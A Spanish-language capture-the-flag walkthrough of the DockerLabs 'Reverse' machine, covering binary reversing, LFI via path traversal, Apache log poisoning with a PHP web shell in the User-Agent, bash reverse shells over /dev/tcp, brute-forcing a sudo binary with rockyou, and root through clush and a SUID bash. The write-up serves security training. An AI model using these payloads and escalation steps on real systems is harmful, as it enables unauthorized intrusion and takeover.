DockerLabs - Reverse
nmap
1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
80/tcp open http
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ nmap -sCV -p80 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: P\xC3\xA1gina Interactiva
análisis
Comenzamos revisando la pantalla principal:
En el código encontramos que hay definida una funcionalidad que si hacemos 20 clicks, se nos muestra en una ventana emergente el texto secret_dir:
Por lo tanto, hacemos 20 clicks, y se nos muestra la ventana emergente:
Suponiendo se trata de un recurso del servidor web, accedemos y vemos que accedemos a un listado de ficheros, donde únicamente hay disponible un fichero:
Lo descargamos , y vemos que se trata de un ejecutable, por lo que le damos permisos de ejecución, y lo hacemos algunas pruebas para ver como funciona:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ file secret
secret: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=387271a4e7dae83df80c4ca4453a3163c48d834f, for GNU/Linux 3.2.0, not stripped
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ chmod +x secret
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ ./secret
Introduzca la contraseña: test
Recibido...
Comprobando...
Contraseña incorrecta...
Viendo que nos está solicitando una contraseña, procedemos a descomprimir el ejecutable con ghidra para investigar a bajo nivel como funciona, ya que es posible que la contraseña se encuentre dentro del mismo binario:
Encontramos algunas variables que se están empleando en la función containsRequiredChars, las cuales contienen valores ya definidos:
Procedemos a concatenar estos valores, y vemos que se trata de la contraseña correcta, por lo que ahora nos devuelve una cadena codificada en Base64:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ ./secret
Introduzca la contraseña: @M***********
Recibido...
Comprobando...
Contraseña correcta, mensaje secreto:
ZzAw**********************==
Al decodificar esta cadena, vemos que el resultado parecería ser un subdominio:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ echo "ZzAw**********************==" | base64 -d; echo
g******.r******.dl
Por ello, lo agregamos al /etc/hosts de nuestra máquina:
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ cat /etc/hosts
...
172.17.0.2 g******.r******.dl
...
Una vez modificado el /etc/hosts, accedemos al subdomino:
Tras revisar las funcionalidades que ofrece, encontramos uno (Experimentos Interactivos) el cual está cargando lo que parecen ser ficheros del sistema:
Probamos a realizar un ataque Path Traversal Attack (movernos lateralmente como si estuviéramos en una consola) y un LFI (Local File Inclusion, incluir ficheros del sistema en el navegador) para ver si podemos llegar a ver ficheros del sistema, y vemos que es vulnerable:
1
http://g******.r******.dl/experiments.php?module=../../../../../../../../etc/passwd
Podemos en este caso ver los usuarios que tienen asignada una bash en el sistema:
1
2
3
4
root:x:0:0:root:/root:/bin/bash
...
maci:x:1000:1000:macimo,,,:/home/maci:/bin/bash
nova:x:1001:1001:nova,,,:/home/nova:/bin/bash
Revisando que ficheros del sistema podemos emplear para ganar acceso, encontramos que los logs de Apache son visibles, y vemos que todas las peticiones guardan un registro en los logs:
Debido a esto, probaremos a ver si el sistema es vulnerable a un Log Poisoning (ejecutar comandos indicando instrucciones maliciosas en los logs que se pueden ver desde el navegador).
Lo primero es interceptar una petición con Burp Suite, y mandarla al Repeater:
Seguiremos modificando el valor de la cabecera User-Agent para indicar una instrucción que podamos posteriormente emplear para ejecutar comandos:
1
<?php system($_GET['cmd']); ?>
Una vez enviada la petición que hemos modificado, volvemos a la pestaña anterior, y concatenamos el parámetro cmd y como valor, el comando que queramos ejecutar:
1
view-source:http://g******.r******.dl/experiments.php?module=../../../../../../../../var/log/apache2/access.log&cmd=id
Viendo que es posible ejecutar comandos, procedemos a obtener una consola, poniéndonos lo primero en escucha con nc:
1
view-source:http://g******.r******.dl/experiments.php?module=../../../../../../../../var/log/apache2/access.log&cmd=bash -c "bash -i >%26 /dev/tcp/<nuestra IP>/<nuestro puerto> 0>%261"
Si todo ha ido correctamente, deberíamos haber obtenido la consola:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 49496
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ whoami
whoami
www-data
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ hostname -I
hostname -I
172.17.0.2
Procedemos a tratar la TTY para poder operar con más facilidad:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ ^Z
zsh: suspended nc -nlvp 4444
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Reverse]
└─$ stty raw -echo;fg
[1] + continued nc -nlvp 4444
reset xterm
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ export TERM=xterm
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ export SHELL=bash
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ stty rows 49 columns 210
movimiento lateral (nova)
Revisamos los permisos SUDO del usuario www-data, y vemos que podemos ejecutar el binario /opt/password_nova como el usuario nova:
1
2
3
4
5
6
7
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ sudo -l
Matching Defaults entries for www-data on 56147b4e2903:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on 56147b4e2903:
(nova : nova) NOPASSWD: /opt/password_nova
Comprobamos qué permisos tiene dicho binario:
1
2
3
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ ls -la /opt/password_nova
-rwx--x--x 1 nova nova 400 Dec 22 2024 /opt/password_nova
Y lo ejecutamos para ver qué es lo que nos permite hacer:
1
2
3
4
┌──[www-data@56147b4e2903]─[/var/www/subdominio]
└──╼ $ sudo -u nova /opt/password_nova
Escribe la contraseña (Pista: se encuentra en el rockyou ;) ):
Contraseña incorrecta.
Dado que nos pide una clave, y la pista indica que se encuentra en el fichero rockyou.txt, procedemos a enviarlo a la máquina víctima para tratar de obtenerla por fuerza bruta.
Nos movemos a la ubicación en la que tengamos el rockyou.txt, y abrimos un servidor web con python:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[/usr/share/seclists/Passwords]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde la máquina víctima lo obtenemos con wget:
1
2
┌──[www-data@56147b4e2903]─[/tmp]
└──╼ $ wget http://172.17.0.1/rockyou.txt
Una vez dentro, ejecutamos el siguiente comando, el cual se encargará de ejecutar el binario con permisos SUDO por cada línea del rockyou.txt, y en caso de que no dé un error, nos mostrará un mensaje por pantalla indicando la clave correcta. Pasado un rato, veremos que nos indicará cual es la clave correcta:
1
2
3
┌──[www-data@56147b4e2903]─[/tmp]
└──╼ $ cat rockyou.txt | while read line; do echo "$line" | sudo -u nova /opt/password_nova &>/dev/null && echo "[+] Password: $line"; done
[+] Password: c********
Probamos a ver si realmente es la clave correcta, y dado que es correcta, nos indica cual es la contraseña del usuario nova:
1
2
3
4
┌──[www-data@56147b4e2903]─[/tmp]
└──╼ $ sudo -u nova /opt/password_nova
Escribe la contraseña (Pista: se encuentra en el rockyou ;) ): c********
Contraseña correcta, mi contraseña es: B***********************
Teniendo ya la contraseña del usuario nova, nos conectamos como dicho usuario:
1
2
3
4
5
6
┌──[www-data@56147b4e2903]─[/tmp]
└──╼ $ su nova
Password:
┌─[nova@56147b4e2903]─[/tmp]
└──╼ $whoami
nova
movimiento lateral (maci)
Veremos en los permisos SUDO del usuario nova que podemos ejecutar el binario /lib64/ld-linux-x86-64.so.2 como el usuario maci sin proporcionar contraseña:
1
2
3
4
5
6
7
┌─[nova@56147b4e2903]─[/tmp]
└──╼ $sudo -l
Matching Defaults entries for nova on 56147b4e2903:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User nova may run the following commands on 56147b4e2903:
(maci : maci) NOPASSWD: /lib64/ld-linux-x86-64.so.2
En GTFOBins nos indican que podemos obtener una consola como otro usuario empleando el siguiente comando:
Probamos a ver si podemos obtener una consola como el usuario maci, y vemos que la obtenemos correctamente:
1
2
3
4
5
┌─[nova@56147b4e2903]─[/tmp]
└──╼ $sudo -u maci /lib64/ld-linux-x86-64.so.2 /bin/bash
┌─[maci@56147b4e2903]─[/tmp]
└──╼ $whoami
maci
escalada de privilegios (root)
El usuario maci vemos que también tiene permisos SUDO asignados, que en este caso son para el binario /usr/bin/clush con los permisos del usuario root:
1
2
3
4
5
6
7
┌─[maci@56147b4e2903]─[/tmp]
└──╼ $sudo -l
Matching Defaults entries for maci on 56147b4e2903:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User maci may run the following commands on 56147b4e2903:
(ALL : ALL) NOPASSWD: /usr/bin/clush
Trasteando con este binario, llegamos a la conclusión de que para obtener una consola, debemos hacerlo ejecutando un comando para obtener una reverse shell:
1
2
┌─[maci@56147b4e2903]─[/var/www/subdominio]
└──╼ $sudo /usr/bin/clush -R exec -w example100 "bash -c '/bin/bash -i >& /dev/tcp/172.17.0.1/7777 0>&1'"
Habiéndonos puesto en escucha, y tras ejecutar el comando anterior, deberíamos haber obtenido una consola como el usuario root:
1
2
3
4
5
6
7
8
┌──(elcybercurioso㉿kalilinux)-[/usr/share/seclists/Passwords]
└─$ nc -nlvp 7777
listening on [any] 7777 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 34022
┌─[root@56147b4e2903]─[/var/www/subdominio]
└──╼ #whoami
whoami
root
Otra manera de obtener acceso como el usuario root es cambiar los permisos del binario /bin/bash para que sea SUID (para que el propio binario nos permita ejecutarlo con los permisos del propietario):
1
2
3
4
5
6
7
8
9
10
11
12
┌─[✗]─[maci@56147b4e2903]─[/var/www/subdominio]
└──╼ $ls -la /bin/bash
-rwxr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash
┌─[maci@56147b4e2903]─[/var/www/subdominio]
└──╼ $sudo /usr/bin/clush -R exec -w example100 "chmod u+s /bin/bash"
┌─[maci@56147b4e2903]─[/var/www/subdominio]
└──╼ $ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash
┌─[maci@56147b4e2903]─[/var/www/subdominio]
└──╼ $bash -p
bash-5.2# whoami
root














